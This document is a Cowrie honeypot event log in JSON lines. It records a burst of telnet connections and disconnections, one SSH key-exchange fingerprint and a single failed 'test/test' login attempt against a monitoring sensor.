{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33176,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a944e090b68","protocol":"telnet","message":"New connection: 185.111.235.80:33176 (10.17.0.5:23) [session: 4a944e090b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:32.138414Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":48818,"dst_ip":"159.203.135.109","dst_port":23,"session":"2fd0108c45d7","protocol":"telnet","message":"New connection: 117.120.7.112:48818 (159.203.135.109:23) [session: 2fd0108c45d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:32.167368Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":56588,"dst_ip":"10.17.0.5","dst_port":23,"session":"5056ac51d5bb","protocol":"telnet","message":"New connection: 185.111.235.80:56588 (10.17.0.5:23) [session: 5056ac51d5bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:32.193034Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":47016,"dst_ip":"10.17.0.5","dst_port":23,"session":"cebf55943e37","protocol":"telnet","message":"New connection: 185.111.235.80:47016 (10.17.0.5:23) [session: cebf55943e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:32.205822Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":33686,"dst_ip":"10.17.0.5","dst_port":23,"session":"21a8cc795afe","protocol":"telnet","message":"New connection: 185.111.235.80:33686 (10.17.0.5:23) [session: 21a8cc795afe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:32.211868Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34094,"dst_ip":"10.17.0.5","dst_port":23,"session":"98719b742f31","protocol":"telnet","message":"New connection: 185.111.235.80:34094 (10.17.0.5:23) [session: 98719b742f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:32.281469Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57414,"dst_ip":"10.17.0.5","dst_port":23,"session":"5de8ca68dbac","protocol":"telnet","message":"New connection: 185.111.235.80:57414 (10.17.0.5:23) [session: 5de8ca68dbac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:32.323908Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":34410,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab5acc1f2eba","protocol":"telnet","message":"New connection: 185.111.235.80:34410 (10.17.0.5:23) [session: ab5acc1f2eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:32.362329Z"}
{"eventid":"cowrie.session.closed","duration":30.957913875579834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:32.883494Z","src_ip":"185.111.235.80","session":"ee6686174895","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.88384509086609,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:32.935287Z","src_ip":"185.111.235.80","session":"a42a5b35fcb0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.069106340408325,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:32.970602Z","src_ip":"185.111.235.80","session":"c16d90bf32b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.199557065963745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:33.001266Z","src_ip":"185.111.235.80","session":"c81818c7b93c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38406,"dst_ip":"10.17.0.5","dst_port":23,"session":"e82211d169ad","protocol":"telnet","message":"New connection: 185.111.235.80:38406 (10.17.0.5:23) [session: e82211d169ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:33.181043Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39818,"dst_ip":"10.17.0.5","dst_port":23,"session":"a128acf0095d","protocol":"telnet","message":"New connection: 185.111.235.80:39818 (10.17.0.5:23) [session: a128acf0095d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:33.426580Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39924,"dst_ip":"10.17.0.5","dst_port":23,"session":"0872dce01fe7","protocol":"telnet","message":"New connection: 185.111.235.80:39924 (10.17.0.5:23) [session: 0872dce01fe7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:33.451828Z"}
{"eventid":"cowrie.session.closed","duration":31.70594620704651,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:33.519371Z","src_ip":"185.111.235.80","session":"52144a5acc9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":36344,"dst_ip":"10.17.0.5","dst_port":23,"session":"13c623153dfc","protocol":"telnet","message":"New connection: 108.61.242.114:36344 (10.17.0.5:23) [session: 13c623153dfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:33.840425Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42662,"dst_ip":"10.17.0.5","dst_port":23,"session":"2776a53ff785","protocol":"telnet","message":"New connection: 185.111.235.80:42662 (10.17.0.5:23) [session: 2776a53ff785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:34.026827Z"}
{"eventid":"cowrie.session.closed","duration":30.676647663116455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:34.044852Z","src_ip":"108.61.242.114","session":"2a8dc7226a78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.655142068862915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:34.070395Z","src_ip":"185.111.235.80","session":"b4f36600b9b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":52818,"dst_ip":"159.203.135.109","dst_port":23,"session":"9308496fbf06","protocol":"telnet","message":"New connection: 117.120.7.112:52818 (159.203.135.109:23) [session: 9308496fbf06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:34.096607Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43720,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec4f9d8a1038","protocol":"telnet","message":"New connection: 185.111.235.80:43720 (10.17.0.5:23) [session: ec4f9d8a1038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:34.211395Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43942,"dst_ip":"10.17.0.5","dst_port":23,"session":"1375a8342700","protocol":"telnet","message":"New connection: 185.111.235.80:43942 (10.17.0.5:23) [session: 1375a8342700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:34.257858Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":36360,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0b6d492c55e","protocol":"telnet","message":"New connection: 108.61.242.114:36360 (10.17.0.5:23) [session: c0b6d492c55e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:34.564986Z"}
{"eventid":"cowrie.session.closed","duration":38.83376407623291,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:34.651066Z","src_ip":"185.111.235.80","session":"51bdb17f69e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5796959400177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:34.884001Z","src_ip":"185.111.235.80","session":"7779e25f93c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.479925632476807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:34.923538Z","src_ip":"185.111.235.80","session":"a6a785ccd80b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91035747528076,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:35.000544Z","src_ip":"185.111.235.80","session":"1c94e5496ad9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.780057907104492,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:35.151828Z","src_ip":"185.111.235.80","session":"f91f71e1a251","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.872318744659424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:35.172592Z","src_ip":"117.120.7.112","session":"ccd219df35df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":40430,"dst_ip":"10.17.0.5","dst_port":22,"session":"addd96d6d365","protocol":"ssh","message":"New connection: 176.65.139.103:40430 (10.17.0.5:22) [session: addd96d6d365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:35.265679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:35.271507Z","src_ip":"176.65.139.103","session":"addd96d6d365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":49134,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec7399b4da26","protocol":"telnet","message":"New connection: 185.111.235.80:49134 (10.17.0.5:23) [session: ec7399b4da26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:35.326440Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:35.373635Z","src_ip":"176.65.139.103","session":"addd96d6d365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":39456,"dst_ip":"10.17.0.5","dst_port":23,"session":"e737308695ff","protocol":"telnet","message":"New connection: 185.111.235.80:39456 (10.17.0.5:23) [session: e737308695ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:35.406687Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50252,"dst_ip":"10.17.0.5","dst_port":23,"session":"308ffbacdfb2","protocol":"telnet","message":"New connection: 185.111.235.80:50252 (10.17.0.5:23) [session: 308ffbacdfb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:35.556061Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50484,"dst_ip":"10.17.0.5","dst_port":23,"session":"266e98ca8b9b","protocol":"telnet","message":"New connection: 185.111.235.80:50484 (10.17.0.5:23) [session: 266e98ca8b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:35.588451Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:35.623494Z","src_ip":"176.65.139.103","session":"addd96d6d365","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":36362,"dst_ip":"10.17.0.5","dst_port":23,"session":"7810a208385c","protocol":"telnet","message":"New connection: 108.61.242.114:36362 (10.17.0.5:23) [session: 7810a208385c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:35.882830Z"}
{"eventid":"cowrie.session.closed","duration":30.418946027755737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:35.903963Z","src_ip":"185.111.235.80","session":"e115d35caee4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":51996,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae593f079912","protocol":"telnet","message":"New connection: 185.111.235.80:51996 (10.17.0.5:23) [session: ae593f079912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:35.938876Z"}
{"eventid":"cowrie.session.closed","duration":30.765958309173584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:35.952579Z","src_ip":"185.111.235.80","session":"2f69ef1cbe1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.284421920776367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:36.032323Z","src_ip":"185.111.235.80","session":"b36aee8f54ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58688521385193,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:36.082300Z","src_ip":"185.111.235.80","session":"fc3fce5ba737","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":52950,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b301d1ec278","protocol":"telnet","message":"New connection: 185.111.235.80:52950 (10.17.0.5:23) [session: 1b301d1ec278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:36.115875Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43230,"dst_ip":"10.17.0.5","dst_port":23,"session":"ddcc3b80baf6","protocol":"telnet","message":"New connection: 185.111.235.80:43230 (10.17.0.5:23) [session: ddcc3b80baf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:36.143431Z"}
{"eventid":"cowrie.session.closed","duration":30.942317724227905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:36.257432Z","src_ip":"185.111.235.80","session":"6e1f8a11873a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.201853275299072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:36.274176Z","src_ip":"117.120.7.112","session":"7983b0693b0d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:36.710299Z","src_ip":"176.65.139.103","session":"addd96d6d365","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.93535280227661,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:36.972008Z","src_ip":"185.111.235.80","session":"87588e9685d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.844867706298828,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:36.979970Z","src_ip":"185.111.235.80","session":"3a9379d5fdf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72221279144287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:36.985458Z","src_ip":"185.111.235.80","session":"51f8b436d945","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":57230,"dst_ip":"10.17.0.5","dst_port":23,"session":"969ad58e3cdc","protocol":"telnet","message":"New connection: 185.111.235.80:57230 (10.17.0.5:23) [session: 969ad58e3cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:37.057822Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":52536,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7ea23dc9066","protocol":"telnet","message":"New connection: 185.111.235.80:52536 (10.17.0.5:23) [session: f7ea23dc9066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:37.064079Z"}
{"eventid":"cowrie.session.closed","duration":13.155307292938232,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:37.148294Z","src_ip":"38.248.177.191","session":"5f050e543f33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":55234,"dst_ip":"10.17.0.5","dst_port":23,"session":"9dc238a59220","protocol":"telnet","message":"New connection: 185.111.235.80:55234 (10.17.0.5:23) [session: 9dc238a59220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:37.571135Z"}
{"eventid":"cowrie.session.closed","duration":30.740534782409668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:37.887229Z","src_ip":"185.111.235.80","session":"229db29790cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.488203525543213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:37.944517Z","src_ip":"185.111.235.80","session":"333616174adb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.918630123138428,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:37.967386Z","src_ip":"185.111.235.80","session":"d7b2d55ee358","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.22984266281128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:37.991284Z","src_ip":"117.120.7.112","session":"169ab5085f4c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94543743133545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:38.053977Z","src_ip":"185.111.235.80","session":"86c2d1893794","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840043544769287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:38.454490Z","src_ip":"185.111.235.80","session":"715b991884c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10973310470581,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:38.555243Z","src_ip":"108.61.242.114","session":"35d79e3f611a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38128,"dst_ip":"10.17.0.5","dst_port":23,"session":"44944e50c226","protocol":"telnet","message":"New connection: 185.111.235.80:38128 (10.17.0.5:23) [session: 44944e50c226]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:38.909982Z"}
{"eventid":"cowrie.session.closed","duration":36.82066369056702,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:38.915705Z","src_ip":"185.111.235.80","session":"5aa7d08752a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.349538803100586,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:39.302553Z","src_ip":"185.111.235.80","session":"2df6f55bfaca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43222,"dst_ip":"10.17.0.5","dst_port":23,"session":"3abf439db2b5","protocol":"telnet","message":"New connection: 185.111.235.80:43222 (10.17.0.5:23) [session: 3abf439db2b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:39.960291Z"}
{"eventid":"cowrie.session.closed","duration":30.841928005218506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:39.965331Z","src_ip":"185.111.235.80","session":"bdad014b5829","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.230531454086304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:40.054426Z","src_ip":"185.111.235.80","session":"5d643fa4a6f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43928,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b333bf21f6a","protocol":"telnet","message":"New connection: 185.111.235.80:43928 (10.17.0.5:23) [session: 9b333bf21f6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:40.123183Z"}
{"eventid":"cowrie.session.closed","duration":30.509138584136963,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:40.130769Z","src_ip":"185.111.235.80","session":"35b023150719","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.587418794631958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:40.249573Z","src_ip":"185.111.235.80","session":"a131daf52f27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":44782,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8bde96c7182","protocol":"telnet","message":"New connection: 185.111.235.80:44782 (10.17.0.5:23) [session: b8bde96c7182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:40.276872Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":50434,"dst_ip":"10.17.0.5","dst_port":23,"session":"98bc48d8fdd5","protocol":"telnet","message":"New connection: 185.111.235.80:50434 (10.17.0.5:23) [session: 98bc48d8fdd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:40.430466Z"}
{"eventid":"cowrie.session.closed","duration":30.85729193687439,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:40.941427Z","src_ip":"185.111.235.80","session":"9cfd2e843421","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68937063217163,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:41.012008Z","src_ip":"185.111.235.80","session":"296fe02cf9f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":43486,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f440ac1b1ae","protocol":"telnet","message":"New connection: 185.111.235.80:43486 (10.17.0.5:23) [session: 1f440ac1b1ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:41.034129Z"}
{"eventid":"cowrie.session.closed","duration":30.43880581855774,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:27:41.041121Z","src_ip":"185.111.235.80","session":"a27c5ba11c8b","protocol":"telnet"}
